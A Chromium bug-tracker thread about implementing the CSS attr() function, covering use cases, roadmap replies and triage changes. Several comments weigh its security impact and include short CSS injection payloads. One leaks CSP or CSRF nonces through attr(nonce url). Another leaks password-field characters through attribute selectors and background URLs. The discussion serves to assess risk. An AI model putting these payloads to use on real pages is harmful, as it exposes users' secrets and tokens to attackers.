New issue
Advanced search Search tips

Issue 246571 link

Starred by 62 users

Issue metadata

Status: Available
Owner: ----
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 3
Type: Feature

Show other hotlists

Hotlists containing this issue:

Sign in to add a comment

Implement CSS3 attribute / attr references

Reported by, Jun 4 2013

Issue description

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1525.0 Safari/537.36

Steps to reproduce the problem:
1. Set a property's value with a attr() value that's actual value is not a string such as a height
2. chrome describes CSS as being invalid

What is the expected behavior?

What went wrong?
It would be great to implement this feature:

This MDN article gives a good overview of the new features:

Did this work before? No 

Chrome version: 29.0.1525.0  Channel: n/a
OS Version: OS X 10.8.3
Labels: Cr-Blink Cr-Blink-CSS
 Issue 251679  has been merged into this issue.
Status: Available
Just hit this too. I *think* according to the specs ( this should work and make the pink sqaure 10px from the left:

Instead, as per original post an 'invalid property value' is reported (I'm running Version 41.0.2272.104 (64-bit))
Labels: Hotlist-Recharge
This issue likely requires triage.  The current issue owner maybe inactive (i.e. hasn't fixed an issue in the last 30 days).  Thanks for helping out!


Comment 7 by, Sep 23 2015

Labels: -OS-Mac -Cr-Blink -Hotlist-Recharge OS-All
Owner: ----
Any word on the status of this request?
This is not on our (style-dev's) roadmap for 2016.
*sigh* What a shame.

Comment 12 by, Feb 5 2016

CSS attr can be easily workarounded by CSS variables :)
That is an incorrect assumption. CSS Variables were designed for modularity to be built into the stylesheet, so that the repetition of properties would be less common place and allow for a form of CSS "configuration" within the stylesheet itself. The enhances CSS attr property is designed for the DOM to interact with the style of the page without having to resort to inefficient solutions, such as applying styles inline with JavaScript. Such a solution also allows for wider control of live manipulation of the current stylesheet without disturbing the CSS hierarchy.

> CSS attr can be easily workarounded by CSS variables :)

No, it cannot.

I would elaborate, but @#13 has already done so in brevity.

Comment 15 by, Jun 6 2016

@#13 and @#14
Yes, in most cases it can be replaced by css variables, because variables can be assigned to individual html elements. So they are effectively the same thing as an attribute.

We need attr() for pairing with CSS Shapes. Here's an example in the spec:

img {shape-outside: attr(src url);} allows authors to use CSS Shapes easily in a CMS context, where the CSS can specify: "please make a shape and use the content image itself as the mask" — and that's all that's needed. 

Otherwise custom inline CSS is needed for each non-regular instance of CSS Shapes inside a CMS. (The system could specify in CSS the same shape, like a circle, for every image. But not if the image shape is different each time.)  

Like this:
<img src="foo.jpg" style="shape-outside: url(foo.jpg); />

This is much harder for authors to implement, given the reality of constrains of most systems. Having attr() will make it possible to use CSS Shapes much more often.
@#15 and @#16
It isn't just CSS shapes, but *any* kind of content or data that can be extracted from the attributes and applied via CSS without destroying the CSS hierarchy.
This feature should be really usefull for data visualization. I.e. making diagrams with less javascript.

I have a list of datapoints with a bunch of properties.
1. I would like to resize displayed items according to some properties;
2. I would like to colorize items according to some properties;
3. I would like to be able to switch easily between properties used for coloring or sizing (to bring out various properties visually).

Css variables are useless in this case, since actual values should be taken from outside of css and cannot be simplified to a reasonable set of predefined styles.
Ok, fugured it out. Sorry for wasting your time.

Here is the demo for a workaround with variables:

I'm still thinking that it's quite dodgy. Properly working attr() feature with data attributes will be more clean and semantic.
Has there been any word if this will be on the 2017 roadmap as it's already been stated that there are no plans for this feature on the 2016 roadmap?

Comment 22 by, Sep 12 2016

hi! We actually haven't set our goals for 2017 yet. I've added this to our backlog to discuss when we do set them.
Thank you for the response, I hope to hear more about this when the
discussion does arise.
Labels: Hotlist-Backlog
Labels: -Pri-2 Pri-3

Comment 26 by, Dec 2 2016

 Issue 670276  has been merged into this issue.
@#12 @#15: a strict CSP configuration can disable inline styles, making CSS Custom Properties non-viable alternative to universal attr().
Any word yet on getting this into the 2017 roadmap?
What are the security implications of this? Won't this allow someone with CSS injection to exfiltrate data from the page?
Hi chrismr3000,

Sorry, we still haven't completed planning yet. This is definitely on my list of things to consider. I will be sure to post here with our plans once we've made them.
Thanks for the update, and hopefully it does make it into the roadmap!

Comment 32 by, Dec 29 2016

Re comment 29, yes. This would allow someone to exfiltrate HTML attributes like CSP or CSRF nonces with CSS.

<base href=//>
<script nonce=random></script>
<style>script:after{content: attr(nonce url);}</script>

There are many other ways to do this, however. So it's not clear if this makes much of a difference.
There are other ways, but they rely on Javascript. This adds a new class of vulnerability, which could turn a relatively benign cosmetic issue into subtle information disclosure.

I think it deserves some sort of mitigation if it's to be implemented per the spec.

Comment 34 by, Dec 30 2016

Can you do that without the <base> tag?
If not, then that's plain old HTML injection, not CSS injection.
#34, I think that's correct, so with the "attr(... url)" syntax you'd likely only be able to forcibly request a "neutralised" URL like the following:

  <img src="placeholder.gif" src-disabled="//external.tld/photo.jpg"/>

This might in fact be useful for noscript situations.

However, I've realised that you can already leak attribute information in CSS with:

 input[type="password"][value*="a" i] { background: url(// } 
 input[type="password"][value*="b" i] { background: url(// } 

This doesn't require Javascript injection, so leakage from attr() would just be a refinement of this existing attack. There's even a recent write-up of this at

So it doesn't appear to be open up a new vector as I thought.
Did this make it on the 2017 priority list?

Comment 37 by, Feb 4 2017

I have already needed this feature with 2 different use-cases, unfortunatelly I had to work-around it.
Labels: Update-Quarterly
This feature is used in some (currently failing) web platform tests*

Project Member

Comment 40 by, Aug 30 2017

The following revision refers to this bug:

commit 1de4db070869cd5b1450258b94794d9015089e9d
Author: Eric Willigers <>
Date: Wed Aug 30 06:15:30 2017

Enable css-values-3 web platform tests

We now run the css-values-3 web platform tests,
skipping only those known to fail (see bugs).

BUG=246571, 421909 , 759914 , 759921 

Change-Id: I85db92c0249aa262e6aaa38afd2c3a53e1ec45cc
Commit-Queue: Eric Willigers <>
Reviewed-by: nainar <>
Cr-Commit-Position: refs/heads/master@{#498379}

Labels: -Update-Quarterly
Am I correct in believing that there is work on implementing CSS attr() by the existence of Comments 39 and 40?
We're not working on it right now, no.
Is this being considered for the 2018 roadmap then?
Hi chrismr3000, 

Sorry, we have limited resources, and this isn't high on our priority list right now. We are keeping this bug open to make sure it stays on our backlog.
Thanks for the heads up again, guess I'll just have to wait and see if it'll be on the one for 2019 :(
Project Member

Comment 47 by, Dec 10

Labels: Hotlist-Recharge-Cold
Status: Untriaged (was: Available)
This issue has been Available for over a year. If it's no longer important or seems unlikely to be fixed, please consider closing it out. If it is important, please re-triage the issue.

Sorry for the inconvenience if the bug really should have been left as Available.

For more details visit - Your friendly Sheriffbot
The friendly sheriffbot is wrong: attr() is still in CR but not implemented much across browsers. If this is to be lowered in relevance, it's probably at the CSS WG, isn't it?

[Also, the closing of unsolved issues for any reason aside from the reporter disappearing, as a way to play numbers-go-down on the tracker, is really, _really_ infuriating.]

Comment 49 by, Dec 12 (6 days ago)

Status: Available (was: Untriaged)
sheriffbot isn't closing the issue, just pushing it back onto the triage queue to make sure we're aware of all open issues.

Sign in to add a comment